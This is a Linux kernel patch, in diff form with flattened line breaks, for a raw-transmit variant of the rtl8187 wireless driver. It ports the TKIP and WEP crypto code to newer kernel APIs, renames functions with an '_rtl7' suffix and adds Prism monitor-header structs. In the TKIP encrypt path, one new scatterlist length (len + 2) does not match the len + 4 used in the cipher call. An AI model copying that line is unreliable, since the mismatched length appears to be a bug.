+void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 